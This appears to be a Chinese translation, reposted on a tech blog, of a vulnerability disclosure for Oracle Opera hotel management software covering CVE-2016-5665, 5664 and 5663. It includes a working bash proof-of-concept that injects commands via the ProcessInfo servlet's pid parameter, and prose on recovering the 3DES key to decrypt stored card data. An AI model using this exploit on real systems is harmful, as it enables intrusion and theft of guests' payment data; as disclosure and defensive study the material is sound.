网站首页 > 技术文章 正文
翻译:ResoLutiOn
预估稿费:200RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
近期,我发现在一些大型商务酒店所使用的前台数据管理系统(Oracle Opera)中存在多个安全漏洞。黑客可利用这些漏洞,进行酒店订房App提权,以获得更高的用户使用权限;同时还能够进入酒店管理网络的后台数据库及操作系统,实施RCE攻击。攻击者利用这些漏洞,可在未经身份验证的情况下,进入Oracle Opera数据库系统,盗取酒店顾客的身份信息、电话号码等隐私数据。据悉,甲骨文公司(Oracle)已经接到了漏洞相关情况的报告,及时对漏洞进行了修复,并发布了漏洞报告,在其中详细描述了漏洞的具体情况。[报告传送门]
Oracle Opera系统简介
Oracle Opera(也称为Opera PMS,前身为Micros Opera)是由甲骨文旗下的子公司Micros为全球范围内各大商务酒店量身打造的一款酒店前台操作系统。它能为酒店管理层和员工提供全方位、系统化的管理工具,以便其能快捷高效地处理客户资料、顾客预订、入住退房、客房分配、房内设施管理以及账户账单管理等日常工作。凯悦(Hyatt)、希尔顿(Hilton)等全球知名酒店使用的均是Opera PMS操作系统。
在顾客完成费用支付的过程中,该应用程序会将顾客的银行卡的相关信息,包括:PAN码(信用卡账户编号)、失效日期、持卡人姓名等,保存在系统后台的数据库中。目前,相关安全人员已披露了3种能够进入该后台数据库的攻击方式。一旦攻击者拿到了该数据库的登录权限,他便能盗取并解密其中保存的隐私数据。
经过分析后我发现,用户数据之所以会遭到黑客窃取,问题主要出在Opera PMS系统本身,而与用户的操作无关;同时,如果仅使用黑盒测试是无法唯一确定漏洞的性质的。不同于以往的漏洞解决方案(供应商接到漏洞报告,并通过内部测试的方法修复漏洞),由于Opera PMS系统供应商向广大用户提供了详尽的解决方案,这便给黑客攻击Opera PMS系统创造了巨大的空间。攻击者很容易知晓该软件存在的缺陷,并可对其合法性进行分析测试。在经过相应的动态分析和静态分析之后,攻击者便能找到“进入”该系统数据库的最佳切入点。
漏洞详解
No.1 CVE-2016-5665:窃取系统日志文件,实施会话劫持
在用户登录Oracle Opera系统后,他们可以选择其中一个系统接口进行交互会话。启动其中接口的请求中包含了用户会话令牌、特定接口启动参数等相关信息。
这里存在一个问题,即:由于系统会将用于实现用户交互的会话令牌和其他参数放置在一个目录文件中,而黑客在未经身份验证的情况下,便能通过Web服务器访问该文件。这便是威胁所在。
而黑客所需要做的便是“守株待兔”,等待一位具有系统管理员身份的用户登录Opera。待该用户登陆成功之后,他便可通过应用程序,拿到系统的所有操作权限,对其中的数据进行任意操作。因为系统管理员具有较高的系统使用权限,能够对数据库中的数据进行查询、修改和删除等重要操作。一旦攻击者拿到了管理员权限,那么数据泄漏则无法避免。
需要说明的是,攻击者往往不会采用上述的方法来窃取用户信息,因为它速度太慢且不够“安全”,容易被识破。系统将用户提交的每一项查询语句保存于应用层。相比于使用Oracle Form提供的用户交互接口,直接与数据库服务器建立连接的方式要快得多,可以提高效率。
No.2 CVE-2016-5664:攻击者可泄漏系统数据库的凭证信息
若攻击者与数据库服务器共用一个网络,那么他便可通过构造一个数据库连接字符串的方式,盗取数据库的相关凭证。因为在Oracle Opera系统中,数据库凭证以及服务名等信息,是通过系统向服务器发送一个已经经过验证的HTML请求的方式返回的,用来启用Oracle Forms软件。攻击者在执行一个未经验证的Servlet程序时,便可获得该数据库服务器的主机名。
在拿到数据库的凭证信息后,攻击者便可通过编译简单的连接语句,利用Sql*plus(用户与oracle数据库进行交互的客户端工具),建立与数据库的连接。之后,他便能以管理员的身份登录,骗取系统的信任,对数据库进行实时监控。
No.3 CVE-2016-5663:通过系统命令注入,实施RCE攻击
在以下两种情况中,攻击者可利用该RCE漏洞:
(1)攻击者仅能获取到应用程序服务器的登录权限(例如:Internet Exposure);
(2)攻击者仅能通过应用程序服务器连接到数据库;
以上便是我在调查过程中,得出的最满意的结果。因为以上二者看似无关,但将它们结合在一起,便能揭示出攻击者的恶意企图。
在系统中含有一个判断数据传输过程正误的程序。在数据传输完成后,它将会给系统返回确认信息,例如:网络端口号(PID)等。而在黑盒测试中,PID参数是放在一个用于执行系统指令的字符串中,不容易被察觉。攻击者可按下图所示的步骤进行操作:修改该参数来执行另一个命令,并可通过web服务器将输出结果放入另一个可读取的文件中。
若一切顺利,该程序会输出结果whoami,并将其放在webtemp文件下。若运行出错,那么系统将会提示“找不到相应文件”的错误信息。
在浏览了该程序的编译代码后,我们会发现出错之处(即下图内红框标识部分)。在编译好的代码中包含了pslist工具(pslist:查看系统进程,是一个属性文件)的运行路径。该文件的存储路径经过硬编码处理,为:D:\micros\opera\operaias\default.env,但我按此路径查找后发现,该文件并不存在。
为了修改这一错误,需要进行以下两步操作:
(1)在系统中找到OPERA_HOME属性的值;
(2)将其保存到D:\micros\opera\operaias\default.env.路径下。
巧合的是,我在系统中发现了另一个诊断程序,它能够查看OPERA_HOME属性信息。如下图所示:
接着,我们便可将刚才那个Servlet程序作为RFI载体,上传至目标路径:
我利用ProcessInfo程序检查之后发现,该错误已经修改了。同时,系统给出的输出结果“whoami”也证实了该应用程序能够正常运行了。
下面的脚本程序可用于验证操作:
123456789101112131415161718 | #!/bin/bash STDOUT="D:\micros\opera\operaias\webtemp\temp.log" if [ "$#" -ne 2 ]; then echo "Usage: $0 <host> <command>" echo "E.g. : $0 http://opera.example.biz whoami" exit 1 else host="$1" cmd="$2" fi # Activate exploit. curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null # Inject command. curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null curl -# -G "$host/webtemp/temp.log" # Deactivate exploit. curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null curl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null |
持卡人信息解密:
利用上述我所讲的漏洞利用过程,攻击者可拿到数据库的登录权限,从任何一个未经授权的接口进入Oracle Opera系统数据库,进而能够窃取银行卡持卡人的私密数据,并对其进行解密。
在SQL中,用于查询数据包包体(package body)的命令语句如下所示:
由于包体信息容易与其他信息混淆,因而,攻击者便可进一步检索包体的信息,或是用其来“破解”出3DES算法的密钥。
现在,算法和密钥都已经得知了,攻击者的下一步操作便是找到加密数据的存储位置。他能在Opera资料库中获得这些信息。
一项能够用于查询NAMES_CREDIT_CARD表中数据的查询语句,能够显示出用户名和其他加密的银行卡信息。同时,攻击者还可通过一个脚本程序,将加密信息解析为明文。
后记
我对甲骨文公司发布的漏洞报告感到非常满意,漏洞描述很详尽。同时,在我向甲骨文公司提交了关于PGP公钥安全漏洞报告的24小时之内,他们便给予了我回应。对此,我感到很欣慰。同时,甲骨文公司还表示,他们将会在下一次发布软件补丁更新包时,加入对CVE-2016-5663、CVE-2016-5664以及CVE-2016-5665等3个漏洞进行修复的程序。
猜你喜欢
- 2024-10-18 部署lepus天兔驱动包--Oracle、sqlserver、redis等(网上都没)
- 2024-10-18 技能包:linux环境下搭建Oracle数据库
- 2024-10-18 详解Oracle定时任务--DBMS_JOB包 oracle数据库定时任务执行情况
- 2024-10-18 oracle用dbms_stats包收集统计信息
- 2024-10-18 CentOS7下使用RPM包安装Oracle 19c
- 2024-10-18 pycharm无法使用cx-oracle包,如何解决
- 2024-10-18 oracle 结束被锁的包或存储过程 oracle 结束被锁的包或存储过程是什么
- 2024-10-18 超详细的ORACLE DBMS_ROWID包详解--创建rowids和获取rowid的信息
- 2024-10-18 Oracle PL/SQL进阶编程(第七弹:使用系统包:DBMS_PIPE)
- 2024-10-18 数据库oracle存储过程包和主体的创建
你 发表评论:
欢迎- 590℃几个Oracle空值处理函数 oracle处理null值的函数
- 583℃Oracle分析函数之Lag和Lead()使用
- 570℃0497-如何将Kerberos的CDH6.1从Oracle JDK 1.8迁移至OpenJDK 1.8
- 568℃Oracle数据库的单、多行函数 oracle执行多个sql语句
- 563℃Oracle 12c PDB迁移(一) oracle迁移到oceanbase
- 555℃【数据统计分析】详解Oracle分组函数之CUBE
- 541℃最佳实践 | 提效 47 倍,制造业生产 Oracle 迁移替换
- 536℃Oracle有哪些常见的函数? oracle中常用的函数
- 最近发表
- 标签列表
-
- 前端设计模式 (75)
- 前端性能优化 (51)
- 前端模板 (66)
- 前端跨域 (52)
- 前端缓存 (63)
- 前端react (48)
- 前端aes加密 (58)
- 前端脚手架 (56)
- 前端md5加密 (54)
- 前端路由 (61)
- 前端数组 (73)
- 前端js面试题 (50)
- 前端定时器 (59)
- 前端懒加载 (49)
- Oracle RAC (73)
- oracle恢复 (76)
- oracle 删除表 (48)
- oracle 用户名 (74)
- oracle 工具 (55)
- oracle 内存 (50)
- oracle 导出表 (57)
- oracle 中文 (51)
- oracle的函数 (57)
- 前端调试 (52)
- 前端登录页面 (48)
本文暂时没有评论,来添加一个吧(●'◡'●)